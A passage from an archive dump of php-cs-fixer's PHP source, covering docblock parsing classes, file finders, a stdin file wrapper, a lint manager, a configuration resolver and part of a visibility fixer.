        }

        $nextIndex = $this->getNonEmptySibling($index, 1);

        if (null === $nextIndex || !$this[$nextIndex]->isWhitespace()) {
            return;
        }

        $prevIndex = $this->getNonEmptySibling($index, -1);

        if ($this[$prevIndex]->isWhitespace()) {
            $this[$prevIndex]->setContent($this[$prevIndex]->getContent().$this[$nextIndex]->getContent());
        } elseif ($this[$prevIndex + 1]->isEmpty()) {
            $this[$prevIndex + 1]->override(array(T_WHITESPACE, $this[$nextIndex]->getContent(), $this[$prevIndex + 1]->getLine()));
        }

        $this[$nextIndex]->clear();
    }
}
php-cs-fixer/Symfony/CS/AbstractPhpdocTypesFixer.php000066600000005511151456236460016501 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\CS\DocBlock\Annotation;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * This abstract fixer provides a base for fixers to fix types in phpdoc.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
abstract class AbstractPhpdocTypesFixer extends AbstractFixer
{
    /**
     * The annotation tags search inside.
     *
     * @var string[]|null
     */
    protected static $tags;

    /**
     * {@inheritdoc}
     */
    public function __construct()
    {
        if (null === static::$tags) {
            static::$tags = Annotation::getTagsWithTypes();
        }
    }

    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens as $token) {
            if (!$token->isGivenKind(T_DOC_COMMENT)) {
                continue;
            }

            $doc = new DocBlock($token->getContent());
            $annotations = $doc->getAnnotationsOfType(static::$tags);

            if (empty($annotations)) {
                continue;
            }

            foreach ($annotations as $annotation) {
                $this->fixTypes($annotation);
            }

            $token->setContent($doc->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * Fix the types at the given line.
     *
     * We must be super careful not to modify parts of words.
     *
     * This will be nicely handled behind the scenes for us by the annotation class.
     *
     * @param Annotation $annotation
     */
    private function fixTypes(Annotation $annotation)
    {
        $types = $annotation->getTypes();

        $new = $this->normalizeTypes($types);

        if ($types !== $new) {
            $annotation->setTypes($new);
        }
    }

    /**
     * Normalize the given types.
     *
     * @param string[] $types
     *
     * @return string[]
     */
    private function normalizeTypes(array $types)
    {
        foreach ($types as $index => $type) {
            $types[$index] = $this->normalizeType($type);
        }

        return $types;
    }

    /**
     * Prepair the type and normalize it.
     *
     * @param string $type
     *
     * @return string
     */
    private function normalizeType($type)
    {
        if (substr($type, -2) === '[]') {
            return $this->normalize(substr($type, 0, -2)).'[]';
        }

        return $this->normalize($type);
    }

    /**
     * Actually normalize the given type.
     *
     * @param string $type
     *
     * @return string
     */
    abstract protected function normalize($type);
}
php-cs-fixer/Symfony/CS/AbstractLinesBeforeNamespaceFixer.php000066600000002702151456236460020250 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\CS\Tokenizer\Tokens;

/**
 * This abstract fixer is responsible for ensuring that a certain number of
 * lines prefix a namespace declaration.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
abstract class AbstractLinesBeforeNamespaceFixer extends AbstractFixer
{
    /**
     * Make sure the expected number of new lines prefix a namespace.
     *
     * @param Tokens $tokens
     * @param int    $index
     * @param int    $expected
     */
    protected function fixLinesBeforeNamespace(Tokens $tokens, $index, $expected)
    {
        // if we've got a <?php, then subtracted the number of new lines it
        // contains from the expected number in the following whitespace
        if (isset($tokens[$index - 2])) {
            $opening = $tokens[$index - 2];
            if ($opening->isGivenKind(T_OPEN_TAG)) {
                $expected -= substr_count($opening->getContent(), "\n");
            }
        }

        $previous = $tokens[$index - 1];
        if ($previous->isWhitespace()) {
            $content = $previous->getContent();
            if (substr_count($content, "\n") !== $expected) {
                $previous->setContent(str_repeat("\n", $expected));
            }
        }
    }
}
php-cs-fixer/Symfony/CS/Finder/MagentoFinder.php000066600000003032151456236460015502 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Finder;

/**
 * @author Myke Hines <myke@webhines.com>
 */
class MagentoFinder extends DefaultFinder
{
    public function __construct()
    {
        parent::__construct();

        $this
            ->name('*.php')
            ->name('*.phtml')
            ->name('*.xml')
            ->exclude(
                array(
                    'lib',
                    'shell',
                    'app/Mage.php',
                    'app/code/core',
                    'app/code/community',
                    'app/design/frontend/default',
                    'app/design/frontend/enterprise/default',
                    'app/design/frontend/base',
                    'app/design/adminhtml/default',
                )
            )
        ;
    }

    public function setDir($dir)
    {
        $this->in($this->getDirs($dir));
    }

    /**
     * Gets the directories that needs to be scanned for files to validate.
     *
     * @param string $dir
     *
     * @return array
     */
    protected function getDirs($dir)
    {
        return array($dir);
    }

    /**
     * Excludes files because modifying them would break.
     *
     * This is mainly useful for fixtures in unit tests.
     *
     * @return array
     */
    protected function getFilesToExclude()
    {
        return array();
    }
}
php-cs-fixer/Symfony/CS/Finder/DefaultFinder.php000066600000003070151456236460015476 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Finder;

use Symfony\Component\Finder\Finder;
use Symfony\CS\FinderInterface;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class DefaultFinder extends Finder implements FinderInterface
{
    public function __construct()
    {
        parent::__construct();

        $files = $this->getFilesToExclude();

        $this
            ->files()
            ->name('*.php')
            ->name('*.twig')
            ->name('*.xml')
            ->name('*.yml')
            ->ignoreDotFiles(true)
            ->ignoreVCS(true)
            ->exclude('vendor')
            ->filter(
                function (\SplFileInfo $file) use ($files) {
                    return !in_array($file->getRelativePathname(), $files, true);
                }
            )
        ;
    }

    public function setDir($dir)
    {
        $this->in($this->getDirs($dir));
    }

    /**
     * Gets the directories that needs to be scanned for files to validate.
     *
     * @param string $dir
     *
     * @return string[]
     */
    protected function getDirs($dir)
    {
        return array($dir);
    }

    /**
     * Excludes files because modifying them would break.
     *
     * This is mainly useful for fixtures in unit tests.
     *
     * @return string[]
     */
    protected function getFilesToExclude()
    {
        return array();
    }
}
php-cs-fixer/Symfony/CS/Finder/Symfony23Finder.php000066600000001737151456236460015733 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Finder;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 */
class Symfony23Finder extends DefaultFinder
{
    protected function getDirs($dir)
    {
        return array($dir.'/src');
    }

    protected function getFilesToExclude()
    {
        return array(
            'Symfony/Component/Console/Tests/Fixtures/application_1.xml',
            'Symfony/Component/Console/Tests/Fixtures/application_2.xml',
            'Symfony/Component/Console/Tests/Helper/TableHelperTest.php',
            'Symfony/Component/DependencyInjection/Tests/Fixtures/yaml/services1.yml',
            'Symfony/Component/DependencyInjection/Tests/Fixtures/yaml/services8.yml',
            'Symfony/Component/Yaml/Tests/Fixtures/sfTests.yml',
        );
    }
}
php-cs-fixer/Symfony/CS/DocBlock/TagComparator.php000066600000002624151456236460016002 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\DocBlock;

/**
 * This class is responsible for comparing tags to see if they should be kept
 * together, or kept apart.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
class TagComparator
{
    /**
     * Groups of tags that should be allowed to immediately follow each other.
     *
     * @var array
     */
    private static $groups = array(
        array('deprecated', 'link', 'see', 'since'),
        array('author', 'copyright', 'license'),
        array('package', 'subpackage'),
        array('property', 'property-read', 'property-write'),
    );

    /**
     * Should the given tags be kept together, or kept apart?
     *
     * @param Tag $first
     * @param Tag $second
     *
     * @return bool
     */
    public static function shouldBeTogether(Tag $first, Tag $second)
    {
        $firstName = $first->getName();
        $secondName = $second->getName();

        if ($firstName === $secondName) {
            return true;
        }

        foreach (self::$groups as $group) {
            if (in_array($firstName, $group, true) && in_array($secondName, $group, true)) {
                return true;
            }
        }

        return false;
    }
}
php-cs-fixer/Symfony/CS/DocBlock/Annotation.php000066600000010151151456236460015343 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\DocBlock;

/**
 * This represents an entire annotation from a docblock.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
class Annotation
{
    /**
     * All the annotation tag names with types.
     *
     * @var string[]
     */
    private static $tags = array(
        'method',
        'param',
        'property',
        'property-read',
        'property-write',
        'return',
        'throws',
        'type',
        'var',
    );

    /**
     * The lines that make up the annotation.
     *
     * @var Line[]
     */
    private $lines;

    /**
     * The position of the first line of the annotation in the docblock.
     *
     * @var int
     */
    private $start;

    /**
     * The position of the last line of the annotation in the docblock.
     *
     * @var int
     */
    private $end;

    /**
     * The associated tag.
     *
     * @var Tag|null
     */
    private $tag;

    /**
     * The cached types content.
     *
     * @var string|null
     */
    private $typesContent;

    /**
     * Create a new line instance.
     *
     * @param Line[] $lines
     */
    public function __construct(array $lines)
    {
        $this->lines = array_values($lines);

        $keys = array_keys($lines);

        $this->start = $keys[0];
        $this->end = end($keys);
    }

    /**
     * Get all the annotation tag names with types.
     *
     * @var string[]
     */
    public static function getTagsWithTypes()
    {
        return self::$tags;
    }

    /**
     * Get the start position of this annotation.
     *
     * @return int
     */
    public function getStart()
    {
        return $this->start;
    }

    /**
     * Get the end position of this annotation.
     *
     * @return int
     */
    public function getEnd()
    {
        return $this->end;
    }

    /**
     * Get the associated tag.
     *
     * @return Tag
     */
    public function getTag()
    {
        if (null === $this->tag) {
            $values = array_values($this->lines);
            $this->tag = new Tag($values[0]->getContent());
        }

        return $this->tag;
    }

    /**
     * Get the current types content.
     *
     * Be careful modifying the underlying line as that won't flush the cache.
     *
     * @return string
     */
    private function getTypesContent()
    {
        if (null === $this->typesContent) {
            $name = $this->getTag()->getName();

            if (!in_array($name, self::$tags, true)) {
                throw new \RuntimeException('This tag does not support types');
            }

            $tagSplit = preg_split('/\s*\@'.$name.'\s*/', $this->lines[0]->getContent(), 2);
            $spaceSplit = preg_split('/\s/', $tagSplit[1], 2);

            $this->typesContent = $spaceSplit[0];
        }

        return $this->typesContent;
    }

    /**
     * Get the types associated with this annotation.
     *
     * @return string[]
     */
    public function getTypes()
    {
        return explode('|', $this->getTypesContent());
    }

    /**
     * Set the types associated with this annotation.
     *
     * @param string[] $types
     */
    public function setTypes(array $types)
    {
        $pattern = '/'.preg_quote($this->getTypesContent()).'/';

        $this->lines[0]->setContent(preg_replace($pattern, implode('|', $types), $this->lines[0]->getContent(), 1));

        $this->typesContent = null;
    }

    /**
     * Remove this annotation by removing all its lines.
     */
    public function remove()
    {
        foreach ($this->lines as $line) {
            $line->remove();
        }
    }

    /**
     * Get the annotation content.
     *
     * @return string
     */
    public function getContent()
    {
        return implode($this->lines);
    }

    /**
     * Get the string representation of object.
     *
     * @return string
     */
    public function __toString()
    {
        return $this->getContent();
    }
}
php-cs-fixer/Symfony/CS/DocBlock/Line.php000066600000005503151456236460014125 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\DocBlock;

/**
 * This represents a line of a docblock.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
class Line
{
    /**
     * The content of this line.
     *
     * @var string
     */
    private $content;

    /**
     * Create a new line instance.
     *
     * @param string $content
     */
    public function __construct($content)
    {
        $this->content = $content;
    }

    /**
     * Get the content of this line.
     *
     * @return int
     */
    public function getContent()
    {
        return $this->content;
    }

    /**
     * Does this line contain useful content?
     *
     * If the line contains text or tags, then this is true.
     *
     * @return bool
     */
    public function containsUsefulContent()
    {
        return 0 !== preg_match('/\\*\s*\S+/', $this->content) && !$this->isTheStart() && !$this->isTheEnd();
    }

    /**
     * Does the line contain a tag?
     *
     * If this is true, then it must be the first line of an annotation.
     *
     * @return bool
     */
    public function containsATag()
    {
        return 0 !== preg_match('/\\*\s*@/', $this->content);
    }

    /**
     * Is the line the start of a docblock?
     *
     * @return bool
     */
    public function isTheStart()
    {
        return false !== strpos($this->content, '/**');
    }

    /**
     * Is the line the end of a docblock?
     *
     * @return bool
     */
    public function isTheEnd()
    {
        return false !== strpos($this->content, '*/');
    }

    /**
     * Set the content of this line.
     *
     * @param string $content
     */
    public function setContent($content)
    {
        $this->content = $content;
    }

    /**
     * Remove this line by clearing its contents.
     *
     * Note that this method technically brakes the internal state of the
     * docblock, but is useful when we need to retain the indexes of lines
     * during the execution of an algorithm.
     */
    public function remove()
    {
        $this->content = '';
    }

    /**
     * Append a blank docblock line to this line's contents.
     *
     * Note that this method technically brakes the internal state of the
     * docblock, but is useful when we need to retain the indexes of lines
     * during the execution of an algorithm.
     */
    public function addBlank()
    {
        preg_match_all('/\ *\*/', $this->content, $matches);

        $this->content .= $matches[0][0]."\n";
    }

    /**
     * Get the string representation of object.
     *
     * @return string
     */
    public function __toString()
    {
        return $this->content;
    }
}
php-cs-fixer/Symfony/CS/DocBlock/Tag.php000066600000003340151456236460013746 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\DocBlock;

/**
 * This represents a tag, as defined by the proposed PSR PHPDoc standard.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
class Tag
{
    /**
     * All the tags defined by the proposed PSR PHPDoc standard.
     *
     * @var string[]
     */
    private static $tags = array(
        'api', 'author', 'category', 'copyright', 'deprecated', 'example',
        'global', 'internal', 'license', 'link', 'method', 'package', 'param',
        'property', 'property-read', 'property-write', 'return', 'see',
        'since', 'struct', 'subpackage', 'throws', 'todo', 'typedef', 'uses',
        'var', 'version',
    );

    /**
     * The tag name.
     *
     * @var string
     */
    private $name;

    /**
     * Create a new tag instance.
     *
     * @param string $content
     */
    public function __construct($content)
    {
        $this->name = 'other';
        preg_match_all('/@[a-zA-Z0-9_-]+(?=\s|$)/', $content, $matches);

        if (isset($matches[0][0])) {
            $this->name = ltrim($matches[0][0], '@');
        }
    }

    /**
     * Get the tag name.
     *
     * This may be "param", or "return", etc.
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Is the tag a known tag.
     *
     * This is defined by if it exists in the proposed PSR PHPDoc standard.
     *
     * @return bool
     */
    public function valid()
    {
        return in_array($this->name, self::$tags, true);
    }
}
php-cs-fixer/Symfony/CS/DocBlock/DocBlock.php000066600000010706151456236460014717 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\DocBlock;

use Symfony\CS\Utils;

/**
 * This class represents a docblock.
 *
 * It internally splits it up into "lines" that we can manipulate.
 *
 * @author Graham Campbell <graham@mineuk.com>
 */
class DocBlock
{
    /**
     * The array of lines.
     *
     * @var Line[]
     */
    private $lines = array();

    /**
     * The array of annotations.
     *
     * @var Annotation[]|null
     */
    private $annotations;

    /**
     * Create a new docblock instance.
     *
     * @param string $content
     */
    public function __construct($content)
    {
        foreach (Utils::splitLines($content) as $line) {
            $this->lines[] = new Line($line);
        }
    }

    /**
     * Get this docblock's lines.
     *
     * @return Line[]
     */
    public function getLines()
    {
        return $this->lines;
    }

    /**
     * Get a single line.
     *
     * @param int $pos
     *
     * @return Line|null
     */
    public function getLine($pos)
    {
        if (isset($this->lines[$pos])) {
            return $this->lines[$pos];
        }
    }

    /**
     * Get this docblock's annotations.
     *
     * @return Annotation[]
     */
    public function getAnnotations()
    {
        if (null === $this->annotations) {
            $this->annotations = array();
            $total = count($this->lines);

            for ($index = 0; $index < $total; ++$index) {
                if ($this->lines[$index]->containsATag()) {
                    // get all the lines that make up the annotation
                    $lines = array_slice($this->lines, $index, $this->findAnnotationLength($index), true);
                    $annotation = new Annotation($lines);
                    // move the index to the end of the annotation to avoid
                    // checking it again because we know the lines inside the
                    // current annotation cannot be part of another annotation
                    $index = $annotation->getEnd();
                    // add the current annotation to the list of annotations
                    $this->annotations[] = $annotation;
                }
            }
        }

        return $this->annotations;
    }

    private function findAnnotationLength($start)
    {
        $index = $start;

        while ($line = $this->getLine(++$index)) {
            if ($line->containsATag()) {
                // we've 100% reached the end of the description if we get here
                break;
            }

            if (!$line->containsUsefulContent()) {
                // if we next line is also non-useful, or contains a tag, then we're done here
                $next = $this->getLine($index + 1);
                if (null === $next || !$next->containsUsefulContent() || $next->containsATag()) {
                    break;
                }
                // otherwise, continue, the annotation must have contained a blank line in its description
            }
        }

        return $index - $start;
    }

    /**
     * Get a single annotation.
     *
     * @param int $pos
     *
     * @return Annotation|null
     */
    public function getAnnotation($pos)
    {
        $annotations = $this->getAnnotations();

        if (isset($annotations[$pos])) {
            return $annotations[$pos];
        }
    }

    /**
     * Get specific types of annotations only.
     *
     * If none exist, we're returning an empty array.
     *
     * @param string|string[] $types
     *
     * @return Annotation[]
     */
    public function getAnnotationsOfType($types)
    {
        $annotations = array();
        $types = (array) $types;

        foreach ($this->getAnnotations() as $annotation) {
            $tag = $annotation->getTag()->getName();
            foreach ($types as $type) {
                if ($type === $tag) {
                    $annotations[] = $annotation;
                }
            }
        }

        return $annotations;
    }

    /**
     * Get the actual content of this docblock.
     *
     * @return string
     */
    public function getContent()
    {
        return implode($this->lines);
    }

    /**
     * Get the string representation of object.
     *
     * @return string
     */
    public function __toString()
    {
        return $this->getContent();
    }
}
php-cs-fixer/Symfony/CS/StdinFileInfo.php000066600000005527151456236460014261 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * @author Davi Koscianski Vidal <davividal@gmail.com>
 */
class StdinFileInfo extends \SplFileInfo
{
    public function __construct()
    {
    }

    public function __toString()
    {
        return $this->getContents();
    }

    public function getRealpath()
    {
        // So file_get_contents & friends will work.
        return 'php://stdin';
    }

    public function getContents()
    {
        return file_get_contents($this->getRealpath());
    }

    public function getATime()
    {
        return 0;
    }

    public function getBasename($suffix = null)
    {
        return $this->getFilename();
    }

    public function getCTime()
    {
        return 0;
    }

    public function getExtension()
    {
        return '.php';
    }

    public function getFileInfo($class_name = null)
    {
        throw new \RuntimeException('Not implemented');
    }

    public function getFilename()
    {
        /*
         * Useful so fixers depending on PHP-only files still work.
         *
         * The idea to use STDIN is to parse PHP-only files, so we can
         * assume that there will be always a PHP file out there.
         */

        return 'stdin.php';
    }

    public function getGroup()
    {
        return 0;
    }

    public function getInode()
    {
        return 0;
    }

    public function getLinkTarget()
    {
        return '';
    }

    public function getMTime()
    {
        return 0;
    }

    public function getOwner()
    {
        return 0;
    }

    public function getPath()
    {
        return '';
    }

    public function getPathInfo($class_name = null)
    {
        throw new \RuntimeException('Not implemented');
    }

    public function getPathname()
    {
        return $this->getFilename();
    }

    public function getPerms()
    {
        return 0;
    }

    public function getSize()
    {
        return 0;
    }

    public function getType()
    {
        return 'file';
    }

    public function isDir()
    {
        return false;
    }

    public function isExecutable()
    {
        return false;
    }

    public function isFile()
    {
        return true;
    }

    public function isLink()
    {
        return false;
    }

    public function isReadable()
    {
        return true;
    }

    public function isWritable()
    {
        return false;
    }

    public function openFile($open_mode = 'r', $use_include_path = false, $context = null)
    {
        throw new \RuntimeException('Not implemented');
    }

    public function setFileClass($class_name = null)
    {
    }

    public function setInfoClass($class_name = null)
    {
    }
}
php-cs-fixer/Symfony/CS/LintManager.php000066600000003237151456236460013761 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\Component\Process\Process;
use Symfony\Component\Process\ProcessUtils;

/**
 * Handle PHP code linting process.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LintManager
{
    /**
     * Temporary file for code linting.
     *
     * @var string|null
     */
    private $temporaryFile;

    public function __destruct()
    {
        if (null !== $this->temporaryFile) {
            unlink($this->temporaryFile);
        }
    }

    /**
     * Create process that lint PHP file.
     *
     * @param string $path path to file
     *
     * @return Process
     */
    public function createProcessForFile($path)
    {
        // in case php://stdin
        if (!is_file($path)) {
            return $this->createProcessForSource(file_get_contents($path));
        }

        $process = new Process('php -l '.ProcessUtils::escapeArgument($path));
        $process->setTimeout(null);
        $process->run();

        return $process;
    }

    /**
     * Create process that lint PHP code.
     *
     * @param string $source code
     *
     * @return Process
     */
    public function createProcessForSource($source)
    {
        if (null === $this->temporaryFile) {
            $this->temporaryFile = tempnam('.', 'cs_fixer_tmp_');
        }

        file_put_contents($this->temporaryFile, $source);
        $process = $this->createProcessForFile($this->temporaryFile);

        return $process;
    }
}
php-cs-fixer/Symfony/CS/ConfigurationResolver.php000066600000011164151456236460016107 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

/**
 * The resolver that resolves configuration to use by command line options and config.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Katsuhiro Ogawa <ko.fivestar@gmail.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ConfigurationResolver
{
    /**
     * @var FixerInterface[]
     */
    protected $allFixers;

    /**
     * @var ConfigInterface
     */
    protected $config;

    /**
     * @var FixerInterface[]
     */
    protected $fixers = array();

    /**
     * @var array
     */
    protected $options = array(
        'fixers' => null,
        'level' => null,
        'progress' => null,
    );

    public function setAllFixers(array $allFixers)
    {
        $this->allFixers = $allFixers;

        return $this;
    }

    public function setConfig(ConfigInterface $config)
    {
        $this->config = $config;

        return $this;
    }

    public function setOption($name, $value)
    {
        $this->options[$name] = $value;

        return $this;
    }

    public function setOptions(array $options)
    {
        foreach ($options as $name => $value) {
            $this->setOption($name, $value);
        }

        return $this;
    }

    /**
     * Resolves fixers.
     *
     * @return ConfigurationResolver
     */
    public function resolve()
    {
        $this->resolveByLevel();
        $this->resolveByNames();

        return $this;
    }

    /**
     * Returns fixers.
     *
     * @return FixerInterface[] An array of FixerInterface
     */
    public function getFixers()
    {
        return $this->fixers;
    }

    public function getProgress()
    {
        // TODO: following condition should be removed on 2.0 line
        // and method should be added to ConfigInterface
        if (!method_exists($this->config, 'getHideProgress')) {
            return $this->options['progress'];
        }

        return $this->options['progress'] && !$this->config->getHideProgress();
    }

    protected function resolveByLevel()
    {
        $level = $this->parseLevel();

        if (null === $level) {
            return;
        }

        $fixers = array();

        foreach ($this->allFixers as $fixer) {
            if ($fixer->getLevel() === ($fixer->getLevel() & $level)) {
                $fixers[] = $fixer;
            }
        }

        $this->fixers = $fixers;
    }

    protected function resolveByNames()
    {
        $names = $this->parseFixers();

        if (null === $names) {
            return;
        }

        $addNames = array();
        $removeNames = array();
        foreach ($names as $name) {
            if (0 === strpos($name, '-')) {
                $removeNames[ltrim($name, '-')] = true;
            } else {
                $addNames[$name] = true;
            }
        }

        foreach ($this->fixers as $key => $fixer) {
            if (isset($removeNames[$fixer->getName()])) {
                unset($this->fixers[$key]);
            }
        }

        foreach ($this->allFixers as $fixer) {
            if (isset($addNames[$fixer->getName()]) && !in_array($fixer, $this->fixers, true)) {
                $this->fixers[] = $fixer;
            }
        }
    }

    protected function parseLevel()
    {
        static $levelMap = array(
            'none' => FixerInterface::NONE_LEVEL,
            'psr0' => FixerInterface::PSR0_LEVEL,
            'psr1' => FixerInterface::PSR1_LEVEL,
            'psr2' => FixerInterface::PSR2_LEVEL,
            'symfony' => FixerInterface::SYMFONY_LEVEL,
        );

        $levelOption = $this->options['level'];

        if (null !== $levelOption) {
            if (!isset($levelMap[$levelOption])) {
                throw new \InvalidArgumentException(sprintf('The level "%s" is not defined.', $levelOption));
            }

            return $levelMap[$levelOption];
        }

        if (null === $this->options['fixers']) {
            return $this->config->getLevel();
        }

        foreach ($this->parseFixers() as $fixer) {
            if (0 === strpos($fixer, '-')) {
                return $this->config->getLevel();
            }
        }

        return;
    }

    protected function parseFixers()
    {
        if (null !== $this->options['fixers']) {
            return array_map('trim', explode(',', $this->options['fixers']));
        }

        if (null === $this->options['level']) {
            return $this->config->getFixers();
        }

        return;
    }
}
php-cs-fixer/Symfony/CS/Resources/phar-stub.php000066600000001705151456236460015435 0ustar00#!/usr/bin/env php
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

if (defined('HHVM_VERSION_ID')) {
    if (HHVM_VERSION_ID < 30900) {
        fwrite(STDERR, "HHVM needs to be a minimum version of HHVM 3.9.0\n");
        exit(1);
    }
} elseif (!defined('PHP_VERSION_ID') || PHP_VERSION_ID < 50306) {
    fwrite(STDERR, "PHP needs to be a minimum version of PHP 5.3.6\n");
    exit(1);
}

set_error_handler(function ($severity, $message, $file, $line) {
    if ($severity & error_reporting()) {
        throw new ErrorException($message, 0, $severity, $file, $line);
    }
});

Phar::mapPhar('php-cs-fixer.phar');

require_once 'phar://php-cs-fixer.phar/vendor/autoload.php';

use Symfony\CS\Console\Application;

$application = new Application();
$application->run();

__HALT_COMPILER();
php-cs-fixer/Symfony/CS/AbstractAlignFixer.php000066600000004762151456236460015300 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS;

use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 */
abstract class AbstractAlignFixer extends AbstractFixer
{
    /**
     * @const Placeholder used as anchor for right alignment.
     */
    const ALIGNABLE_PLACEHOLDER = "\x2 ALIGNABLE%d \x3";

    /**
     * Look for group of placeholders, and provide vertical alignment.
     *
     * @param Tokens $tokens
     * @param int    $deepestLevel
     *
     * @return string
     */
    protected function replacePlaceholder(Tokens $tokens, $deepestLevel)
    {
        $tmpCode = $tokens->generateCode();

        for ($j = 0; $j <= $deepestLevel; ++$j) {
            $placeholder = sprintf(self::ALIGNABLE_PLACEHOLDER, $j);

            if (false === strpos($tmpCode, $placeholder)) {
                continue;
            }

            $lines = explode("\n", $tmpCode);
            $linesWithPlaceholder = array();
            $blockSize = 0;

            $linesWithPlaceholder[$blockSize] = array();

            foreach ($lines as $index => $line) {
                if (substr_count($line, $placeholder) > 0) {
                    $linesWithPlaceholder[$blockSize][] = $index;
                } else {
                    ++$blockSize;
                    $linesWithPlaceholder[$blockSize] = array();
                }
            }

            foreach ($linesWithPlaceholder as $group) {
                if (count($group) < 1) {
                    continue;
                }

                $rightmostSymbol = 0;
                foreach ($group as $index) {
                    $rightmostSymbol = max($rightmostSymbol, strpos(utf8_decode($lines[$index]), $placeholder));
                }

                foreach ($group as $index) {
                    $line = $lines[$index];
                    $currentSymbol = strpos(utf8_decode($line), $placeholder);
                    $delta = abs($rightmostSymbol - $currentSymbol);

                    if ($delta > 0) {
                        $line = str_replace($placeholder, str_repeat(' ', $delta).$placeholder, $line);
                        $lines[$index] = $line;
                    }
                }
            }

            $tmpCode = str_replace($placeholder, '', implode("\n", $lines));
        }

        return $tmpCode;
    }
}
php-cs-fixer/Symfony/CS/Fixer/PSR2/VisibilityFixer.php000066600000013562151456236460016512 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\PSR2;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * Fixer for rules defined in PSR2 ¶4.3, ¶4.5.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class VisibilityFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $elements = $tokens->getClassyElements();

        foreach (array_reverse($elements, true) as $index => $element) {
            if ('method' === $element['type']) {
                $this->applyAttribs($tokens, $index, $this->grabAttribsBeforeMethodToken($tokens, $index));

                // force whitespace between function keyword and function name to be single space char
                $tokens[++$index]->setContent(' ');
            } elseif ('property' === $element['type']) {
                $prevIndex = $tokens->getPrevTokenOfKind($index, array(';', ',', '{'));

                if (!$prevIndex || !$tokens[$prevIndex]->equals(',')) {
                    $this->applyAttribs($tokens, $index, $this->grabAttribsBeforePropertyToken($tokens, $index));
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
